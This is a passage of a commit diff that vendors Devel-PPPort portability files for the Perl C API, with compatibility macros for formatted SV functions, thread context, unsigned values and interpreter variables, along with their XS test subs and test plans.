+                len = my_strlcat(buf, "baz", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                len = my_strlcpy(buf, "1234567890", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                len = my_strlcpy(buf, "1234", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                len = my_strlcat(buf, "567890123456", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                XSRETURN(12);
+
+=tests plan => 13
+
+my @e = (3, 'foo',
+         6, 'foobar',
+         9, 'foobarb',
+         10, '1234567',
+         4, '1234',
+         16, '1234567',
+        );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+  ok($r[$_], $e[$_]);
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/sv_xpvf
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/sv_xpvf	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/sv_xpvf	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,313 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+vnewSVpvf
+sv_vcatpvf
+sv_vsetpvf
+
+sv_catpvf_mg
+sv_catpvf_mg_nocontext
+sv_vcatpvf_mg
+
+sv_setpvf_mg
+sv_setpvf_mg_nocontext
+sv_vsetpvf_mg
+
+=implementation
+
+#if { VERSION >= 5.004 } && !defined(vnewSVpvf)
+#if { NEED vnewSVpvf }
+
+SV *
+vnewSVpvf(pTHX_ const char *pat, va_list *args)
+{
+  register SV *sv = newSV(0);
+  sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*));
+  return sv;
+}
+
+#endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+#  define sv_vcatpvf(sv, pat, args)  sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf)
+#  define sv_vsetpvf(sv, pat, args)  sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg)
+#if { NEED sv_catpvf_mg }
+
+void
+sv_catpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+  va_list args;
+  va_start(args, pat);
+  sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+  SvSETMAGIC(sv);
+  va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg_nocontext)
+#if { NEED sv_catpvf_mg_nocontext }
+
+void
+sv_catpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+  dTHX;
+  va_list args;
+  va_start(args, pat);
+  sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+  SvSETMAGIC(sv);
+  va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_catpvf_mg depends on sv_catpvf_mg_nocontext */
+#ifndef sv_catpvf_mg
+#  ifdef PERL_IMPLICIT_CONTEXT
+#    define sv_catpvf_mg   Perl_sv_catpvf_mg_nocontext
+#  else
+#    define sv_catpvf_mg   Perl_sv_catpvf_mg
+#  endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf_mg)
+#  define sv_vcatpvf_mg(sv, pat, args)                                     \
+   STMT_START {                                                            \
+     sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*));  \
+     SvSETMAGIC(sv);                                                       \
+   } STMT_END
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg)
+#if { NEED sv_setpvf_mg }
+
+void
+sv_setpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+  va_list args;
+  va_start(args, pat);
+  sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+  SvSETMAGIC(sv);
+  va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg_nocontext)
+#if { NEED sv_setpvf_mg_nocontext }
+
+void
+sv_setpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+  dTHX;
+  va_list args;
+  va_start(args, pat);
+  sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+  SvSETMAGIC(sv);
+  va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_setpvf_mg depends on sv_setpvf_mg_nocontext */
+#ifndef sv_setpvf_mg
+#  ifdef PERL_IMPLICIT_CONTEXT
+#    define sv_setpvf_mg   Perl_sv_setpvf_mg_nocontext
+#  else
+#    define sv_setpvf_mg   Perl_sv_setpvf_mg
+#  endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf_mg)
+#  define sv_vsetpvf_mg(sv, pat, args)                                     \
+   STMT_START {                                                            \
+     sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*));  \
+     SvSETMAGIC(sv);                                                       \
+   } STMT_END
+#endif
+
+=xsinit
+
+#define NEED_vnewSVpvf
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+
+=xsmisc
+
+static SV * test_vnewSVpvf(pTHX_ const char *pat, ...)
+{
+  SV *sv;
+  va_list args;
+  va_start(args, pat);
+#if { VERSION >= 5.004 }
+  sv = vnewSVpvf(pat, &args);
+#else
+  sv = newSVpv((char *) pat, 0);
+#endif
+  va_end(args);
+  return sv;
+}
+
+static void test_sv_vcatpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+  va_list args;
+  va_start(args, pat);
+#if { VERSION >= 5.004 }
+  sv_vcatpvf(sv, pat, &args);
+#else
+  sv_catpv(sv, (char *) pat);
+#endif
+  va_end(args);
+}
+
+static void test_sv_vsetpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+  va_list args;
+  va_start(args, pat);
+#if { VERSION >= 5.004 }
+  sv_vsetpvf(sv, pat, &args);
+#else
+  sv_setpv(sv, (char *) pat);
+#endif
+  va_end(args);
+}
+
+=xsubs
+
+SV *
+vnewSVpvf()
+        CODE:
+                RETVAL = test_vnewSVpvf(aTHX_ "%s-%d", "Perl", 42);
+        OUTPUT:
+                RETVAL
+
+SV *
+sv_vcatpvf(sv)
+        SV *sv
+        CODE:
+                RETVAL = newSVsv(sv);
+                test_sv_vcatpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+        OUTPUT:
+                RETVAL
+
+SV *
+sv_vsetpvf(sv)
+        SV *sv
+        CODE:
+                RETVAL = newSVsv(sv);
+                test_sv_vsetpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+        OUTPUT:
+                RETVAL
+
+void
+sv_catpvf_mg(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+                sv_catpvf_mg(sv, "%s-%d", "Perl", 42);
+#endif
+
+void
+Perl_sv_catpvf_mg(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+                Perl_sv_catpvf_mg(aTHX_ sv, "%s-%d", "-Perl", 43);
+#endif
+
+void
+sv_catpvf_mg_nocontext(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+                sv_catpvf_mg_nocontext(sv, "%s-%d", "-Perl", 44);
+#else
+                sv_catpvf_mg(sv, "%s-%d", "-Perl", 44);
+#endif
+#endif
+
+void
+sv_setpvf_mg(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+                sv_setpvf_mg(sv, "%s-%d", "mhx", 42);
+#endif
+
+void
+Perl_sv_setpvf_mg(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+                Perl_sv_setpvf_mg(aTHX_ sv, "%s-%d", "foo", 43);
+#endif
+
+void
+sv_setpvf_mg_nocontext(sv)
+        SV *sv
+        CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+                sv_setpvf_mg_nocontext(sv, "%s-%d", "bar", 44);
+#else
+                sv_setpvf_mg(sv, "%s-%d", "bar", 44);
+#endif
+#endif
+
+=tests plan => 9
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/threads
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/threads	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/threads	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,68 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+aTHXR
+aTHXR_
+dTHXR
+
+=implementation
+
+__UNDEFINED__  dTHR       dNOOP
+
+__UNDEFINED__  dTHX       dNOOP
+__UNDEFINED__  dTHXa(x)   dNOOP
+
+__UNDEFINED__  pTHX       void
+__UNDEFINED__  pTHX_
+__UNDEFINED__  aTHX
+__UNDEFINED__  aTHX_
+
+#if { VERSION < 5.6.0 }
+#  ifdef USE_THREADS
+#    define aTHXR  thr
+#    define aTHXR_ thr,
+#  else
+#    define aTHXR
+#    define aTHXR_
+#  endif
+#  define dTHXR  dTHR
+#else
+#  define aTHXR  aTHX
+#  define aTHXR_ aTHX_
+#  define dTHXR  dTHX
+#endif
+
+__UNDEFINED__  dTHXoa(x)  dTHXa(x)
+
+=xsubs
+
+IV
+no_THX_arg(sv)
+        SV *sv
+        CODE:
+                RETVAL = 1 + sv_2iv(sv);
+        OUTPUT:
+                RETVAL
+
+void
+with_THX_arg(error)
+        SV *error
+        PPCODE:
+                croak_sv(error);
+
+=tests plan => 2
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/uv
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/uv	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/uv	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,122 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvUOK
+
+=implementation
+
+__UNDEFINED__  sv_setuv(sv, uv)                     \
+               STMT_START {                         \
+                 UV TeMpUv = uv;                    \
+                 if (TeMpUv <= IV_MAX)              \
+                   sv_setiv(sv, TeMpUv);            \
+                 else                               \
+                   sv_setnv(sv, (double)TeMpUv);    \
+               } STMT_END
+
+__UNDEFINED__  newSVuv(uv)     ((uv) <= IV_MAX ? newSViv((IV)uv) : newSVnv((NV)uv))
+
+__UNDEFINED__  sv_2uv(sv)      ((PL_Sv = (sv)), (UV) (SvNOK(PL_Sv) ? SvNV(PL_Sv) : sv_2nv(PL_Sv)))
+__UNDEFINED__  SvUVX(sv)       ((UV)SvIVX(sv))
+__UNDEFINED__  SvUVXx(sv)      SvUVX(sv)
+__UNDEFINED__  SvUV(sv)        (SvIOK(sv) ? SvUVX(sv) : sv_2uv(sv))
+__UNDEFINED__  SvUVx(sv)       ((PL_Sv = (sv)), SvUV(PL_Sv))
+
+/* Hint: sv_uv
+ * Always use the SvUVx() macro instead of sv_uv().
+ */
+__UNDEFINED__  sv_uv(sv)       SvUVx(sv)
+
+#if !defined(SvUOK) && defined(SvIOK_UV)
+#  define SvUOK(sv) SvIOK_UV(sv)
+#endif
+
+__UNDEFINED__  XST_mUV(i,v)    (ST(i) = sv_2mortal(newSVuv(v))  )
+__UNDEFINED__  XSRETURN_UV(v)  STMT_START { XST_mUV(0,v);  XSRETURN(1); } STMT_END
+
+__UNDEFINED__  PUSHu(u)        STMT_START { sv_setuv(TARG, (UV)(u)); PUSHTARG;  } STMT_END
+__UNDEFINED__  XPUSHu(u)       STMT_START { sv_setuv(TARG, (UV)(u)); XPUSHTARG; } STMT_END
+
+=xsubs
+
+SV *
+sv_setuv(uv)
+        UV uv
+        CODE:
+                RETVAL = newSViv(1);
+                sv_setuv(RETVAL, uv);
+        OUTPUT:
+                RETVAL
+
+SV *
+newSVuv(uv)
+        UV uv
+        CODE:
+                RETVAL = newSVuv(uv);
+        OUTPUT:
+                RETVAL
+
+UV
+sv_2uv(sv)
+        SV *sv
+        CODE:
+                RETVAL = sv_2uv(sv);
+        OUTPUT:
+                RETVAL
+
+UV
+SvUVx(sv)
+        SV *sv
+        CODE:
+                sv--;
+                RETVAL = SvUVx(++sv);
+        OUTPUT:
+                RETVAL
+
+void
+XSRETURN_UV()
+        PPCODE:
+                XSRETURN_UV(42);
+
+void
+PUSHu()
+        PREINIT:
+                dTARG;
+        PPCODE:
+                TARG = sv_newmortal();
+                EXTEND(SP, 1);
+                PUSHu(42);
+                XSRETURN(1);
+
+void
+XPUSHu()
+        PREINIT:
+                dTARG;
+        PPCODE:
+                TARG = sv_newmortal();
+                XPUSHu(43);
+                XSRETURN(1);
+
+=tests plan => 10
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/variables
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/variables	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/variables	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,491 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PL_ppaddr
+PL_no_modify
+PL_DBsignal
+PL_DBsingle
+PL_DBsub
+PL_DBtrace
+PL_Sv
+PL_bufend
+PL_bufptr
+PL_compiling
+PL_copline
+PL_curcop
+PL_curstash
+PL_debstash
+PL_defgv
+PL_diehook
+PL_dirty
+PL_dowarn
+PL_errgv
+PL_error_count
+PL_expect
+PL_hexdigit
+PL_hints
+PL_in_my
+PL_in_my_stash
+PL_laststatval
+PL_lex_state
+PL_lex_stuff
+PL_linestr
+PL_na
+PL_parser
+PL_perl_destruct_level
+PL_perldb
+PL_rsfp_filters
+PL_rsfp
+PL_stack_base
+PL_stack_sp
+PL_statcache
+PL_stdingv
+PL_sv_arenaroot
+PL_sv_no
+PL_sv_undef
+PL_sv_yes
+PL_tainted
+PL_tainting
+PL_tokenbuf
+PL_signals
+PERL_SIGNALS_UNSAFE_FLAG
+
+=implementation
+
+#ifndef PERL_SIGNALS_UNSAFE_FLAG
+
+#define PERL_SIGNALS_UNSAFE_FLAG 0x0001
+
+#if { VERSION < 5.8.0 }
+#  define D_PPP_PERL_SIGNALS_INIT   PERL_SIGNALS_UNSAFE_FLAG
+#else
+#  define D_PPP_PERL_SIGNALS_INIT   0
+#endif
+
+__NEED_VAR__ U32 PL_signals = D_PPP_PERL_SIGNALS_INIT;
+
+#endif
+
+/* Hint: PL_ppaddr
+ * Calling an op via PL_ppaddr requires passing a context argument
+ * for threaded builds. Since the context argument is different for
+ * 5.005 perls, you can use aTHXR (supplied by ppport.h), which will
+ * automatically be defined as the correct argument.
+ */
+
+#if { VERSION <= 5.005_05 }
+/* Replace: 1 */
+#  define PL_ppaddr                 ppaddr
+#  define PL_no_modify              no_modify
+/* Replace: 0 */
+#endif
+
+#if { VERSION <= 5.004_05 }
+/* Replace: 1 */
+#  define PL_DBsignal               DBsignal
+#  define PL_DBsingle               DBsingle
+#  define PL_DBsub                  DBsub
+#  define PL_DBtrace                DBtrace
+#  define PL_Sv                     Sv
+#  define PL_bufend                 bufend
+#  define PL_bufptr                 bufptr
+#  define PL_compiling              compiling
+#  define PL_copline                copline
+#  define PL_curcop                 curcop
+#  define PL_curstash               curstash
+#  define PL_debstash               debstash
+#  define PL_defgv                  defgv
+#  define PL_diehook                diehook
+#  define PL_dirty                  dirty
+#  define PL_dowarn                 dowarn
+#  define PL_errgv                  errgv
+#  define PL_error_count            error_count
+#  define PL_expect                 expect
+#  define PL_hexdigit               hexdigit
+#  define PL_hints                  hints
+#  define PL_in_my                  in_my
+#  define PL_laststatval            laststatval
+#  define PL_lex_state              lex_state
+#  define PL_lex_stuff              lex_stuff
+#  define PL_linestr                linestr
+#  define PL_na                     na
+#  define PL_perl_destruct_level    perl_destruct_level
+#  define PL_perldb                 perldb
+#  define PL_rsfp_filters           rsfp_filters
+#  define PL_rsfp                   rsfp
+#  define PL_stack_base             stack_base
+#  define PL_stack_sp               stack_sp
+#  define PL_statcache              statcache
+#  define PL_stdingv                stdingv
+#  define PL_sv_arenaroot           sv_arenaroot
+#  define PL_sv_no                  sv_no
+#  define PL_sv_undef               sv_undef
+#  define PL_sv_yes                 sv_yes
+#  define PL_tainted                tainted
+#  define PL_tainting               tainting
+#  define PL_tokenbuf               tokenbuf
+/* Replace: 0 */
+#endif
+
+/* Warning: PL_parser
+ * For perl versions earlier than 5.9.5, this is an always
+ * non-NULL dummy. Also, it cannot be dereferenced. Don't
+ * use it if you can avoid is and unless you absolutely know
+ * what you're doing.
+ * If you always check that PL_parser is non-NULL, you can
+ * define DPPP_PL_parser_NO_DUMMY to avoid the creation of
+ * a dummy parser structure.
+ */
+
+#if { VERSION >= 5.9.5 }
+# ifdef DPPP_PL_parser_NO_DUMMY
+#  define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+                (croak("panic: PL_parser == NULL in %s:%d", \
+                       __FILE__, __LINE__), (yy_parser *) NULL))->var)
+# else
+#  ifdef DPPP_PL_parser_NO_DUMMY_WARNING
+#   define D_PPP_parser_dummy_warning(var)
+#  else
+#   define D_PPP_parser_dummy_warning(var) \
+             warn("warning: dummy PL_" #var " used in %s:%d", __FILE__, __LINE__),
+#  endif
+#  define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+                (D_PPP_parser_dummy_warning(var) &DPPP_(dummy_PL_parser)))->var)
+__NEED_DUMMY_VAR__ yy_parser PL_parser;
+# endif
+
+/* PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf depends on PL_parser */
+/* Warning: PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf
+ * Do not use this variable unless you know exactly what you're
+ * doing. It is internal to the perl parser and may change or even
+ * be removed in the future. As of perl 5.9.5, you have to check
+ * for (PL_parser != NULL) for this variable to have any effect.
+ * An always non-NULL PL_parser dummy is provided for earlier
+ * perl versions.
+ * If PL_parser is NULL when you try to access this variable, a
+ * dummy is being accessed instead and a warning is issued unless
+ * you define DPPP_PL_parser_NO_DUMMY_WARNING.
+ * If DPPP_PL_parser_NO_DUMMY is defined, the code trying to access
+ * this variable will croak with a panic message.
+ */
+
+# define PL_expect         D_PPP_my_PL_parser_var(expect)
+# define PL_copline        D_PPP_my_PL_parser_var(copline)
+# define PL_rsfp           D_PPP_my_PL_parser_var(rsfp)
+# define PL_rsfp_filters   D_PPP_my_PL_parser_var(rsfp_filters)
+# define PL_linestr        D_PPP_my_PL_parser_var(linestr)
+# define PL_bufptr         D_PPP_my_PL_parser_var(bufptr)
+# define PL_bufend         D_PPP_my_PL_parser_var(bufend)
+# define PL_lex_state      D_PPP_my_PL_parser_var(lex_state)
+# define PL_lex_stuff      D_PPP_my_PL_parser_var(lex_stuff)
+# define PL_tokenbuf       D_PPP_my_PL_parser_var(tokenbuf)
+# define PL_in_my          D_PPP_my_PL_parser_var(in_my)
+# define PL_in_my_stash    D_PPP_my_PL_parser_var(in_my_stash)
+# define PL_error_count    D_PPP_my_PL_parser_var(error_count)
+
+
+#else
+
+/* ensure that PL_parser != NULL and cannot be dereferenced */
+# define PL_parser         ((void *) 1)
+
+#endif
+
+=xsinit
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY_WARNING
+
+=xsmisc
+
+U32 get_PL_signals_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+  dTHX;
+#endif
+  return PL_signals;
+}
+
+extern U32 get_PL_signals_2(void);
+extern U32 get_PL_signals_3(void);
+int no_dummy_parser_vars(int);
+int dummy_parser_warning(void);
+
+/* No PTRSIZE IN 5.004 and below, so PTR2IV would warn and possibly misbehave */
+#if { VERSION > 5.004 }
+  #define ppp_TESTVAR(var)          STMT_START { mXPUSHi(PTR2IV(&var)); count++; } STMT_END
+#else
+  #define ppp_TESTVAR(var)          STMT_START { mXPUSHi(&var); count++; } STMT_END
+#endif
+
+#define ppp_PARSERVAR(type, var)  STMT_START {                   \
+                                    type volatile my_ ## var;    \
+                                    type volatile *my_p_ ## var; \
+                                    my_ ## var = var;            \
+                                    my_p_ ## var = &var;         \
+                                    var = my_ ## var;            \
+                                    var = *my_p_ ## var;         \
+                                    mXPUSHi(&var != NULL);       \
+                                    count++;                     \
+                                  } STMT_END
+
+#define ppp_PARSERVAR_dummy       STMT_START {                   \
+                                    mXPUSHi(1);                  \
+                                    count++;                     \
+                                  } STMT_END
+
+#if { VERSION < 5.004 }
+# define ppp_rsfp_t FILE *
+#else
+# define ppp_rsfp_t PerlIO *
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_expect_t expectation
+#elif { VERSION < 5.9.5 }
+# define ppp_expect_t int
+#else
+# define ppp_expect_t U8
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_lex_state_t U32
+#else
+# define ppp_lex_state_t U8
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_in_my_t bool
+#elif { VERSION < 5.9.5 }
+# define ppp_in_my_t I32
+#else
+# define ppp_in_my_t U16
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_error_count_t I32
+#else
+# define ppp_error_count_t U8
+#endif
+
+=xsubs
+
+int
+compare_PL_signals()
+        CODE:
+                {
+                  U32 ref = get_PL_signals_1();
+                  RETVAL = ref == get_PL_signals_2() && ref == get_PL_signals_3();
+                }
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_sv_undef()
+        CODE:
+                RETVAL = newSVsv(&PL_sv_undef);
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_sv_yes()
+        CODE:
+                RETVAL = newSVsv(&PL_sv_yes);
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_sv_no()
+        CODE:
+                RETVAL = newSVsv(&PL_sv_no);
+        OUTPUT:
+                RETVAL
+
+int
+PL_na(string)
+        char *string
+        CODE:
+                PL_na = strlen(string);
+                RETVAL = PL_na;
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_Sv()
+        CODE:
+                PL_Sv = newSVpv("mhx", 0);
+                RETVAL = PL_Sv;
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_tokenbuf()
+        CODE:
+                RETVAL = newSViv(PL_tokenbuf[0]);
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_parser()
+        CODE:
+                RETVAL = newSViv(PL_parser != NULL);
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_hexdigit()
+        CODE:
+                RETVAL = newSVpv((char *) PL_hexdigit, 0);
+        OUTPUT:
+                RETVAL
+
+SV *
+PL_hints()
+        CODE:
+                RETVAL = newSViv((IV) PL_hints);
+        OUTPUT:
+                RETVAL
+
+void
+PL_ppaddr(string)
+        char *string
+        PPCODE:
+                PUSHMARK(SP);
+                mXPUSHs(newSVpv(string, 0));
+                PUTBACK;
+                ENTER;
+                (void)*(PL_ppaddr[OP_UC])(aTHXR);
+                SPAGAIN;
+                LEAVE;
+                XSRETURN(1);
+
+void
+other_variables()
+        PREINIT:
+                int count = 0;
+        PPCODE:
+                ppp_TESTVAR(PL_DBsignal);
+                ppp_TESTVAR(PL_DBsingle);
+                ppp_TESTVAR(PL_DBsub);
+                ppp_TESTVAR(PL_DBtrace);
+                ppp_TESTVAR(PL_compiling);
+                ppp_TESTVAR(PL_curcop);
+                ppp_TESTVAR(PL_curstash);
+                ppp_TESTVAR(PL_debstash);
+                ppp_TESTVAR(PL_defgv);
+                ppp_TESTVAR(PL_diehook);
+#if { VERSION >= 5.13.7 }
+                /* can't get a pointer any longer */
+                mXPUSHi(PL_dirty ? 1 : 1);
+                count++;
+#else
+                ppp_TESTVAR(PL_dirty);
+#endif
+                ppp_TESTVAR(PL_dowarn);
+                ppp_TESTVAR(PL_errgv);
+                ppp_TESTVAR(PL_laststatval);
+                ppp_TESTVAR(PL_no_modify);
+                ppp_TESTVAR(PL_perl_destruct_level);
+                ppp_TESTVAR(PL_perldb);
+                ppp_TESTVAR(PL_stack_base);
+                ppp_TESTVAR(PL_stack_sp);
+                ppp_TESTVAR(PL_statcache);
+                ppp_TESTVAR(PL_stdingv);
+                ppp_TESTVAR(PL_sv_arenaroot);
+                ppp_TESTVAR(PL_tainted);
+                ppp_TESTVAR(PL_tainting);
+
+                ppp_PARSERVAR(ppp_expect_t, PL_expect);
+                ppp_PARSERVAR(line_t, PL_copline);
+                ppp_PARSERVAR(ppp_rsfp_t, PL_rsfp);
+                ppp_PARSERVAR(AV *, PL_rsfp_filters);
+                ppp_PARSERVAR(SV *, PL_linestr);
+                ppp_PARSERVAR(char *, PL_bufptr);
+                ppp_PARSERVAR(char *, PL_bufend);
+                ppp_PARSERVAR(ppp_lex_state_t, PL_lex_state);
+                ppp_PARSERVAR(SV *, PL_lex_stuff);
+                ppp_PARSERVAR(ppp_error_count_t, PL_error_count);
+                ppp_PARSERVAR(ppp_in_my_t, PL_in_my);
+#if { VERSION >= 5.5.0 }
+                ppp_PARSERVAR(HV*, PL_in_my_stash);
+#else
+                ppp_PARSERVAR_dummy;
+#endif
+                XSRETURN(count);
+
+int
+no_dummy_parser_vars(check)
+        int check
+
+int
+dummy_parser_warning()
+
+=tests plan => 52
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+  ok($_ != 0);
+}
+
+{
+  my @w;
+  my $fail = 0;
+  {
+    local $SIG{'__WARN__'} = sub { push @w, @_ };
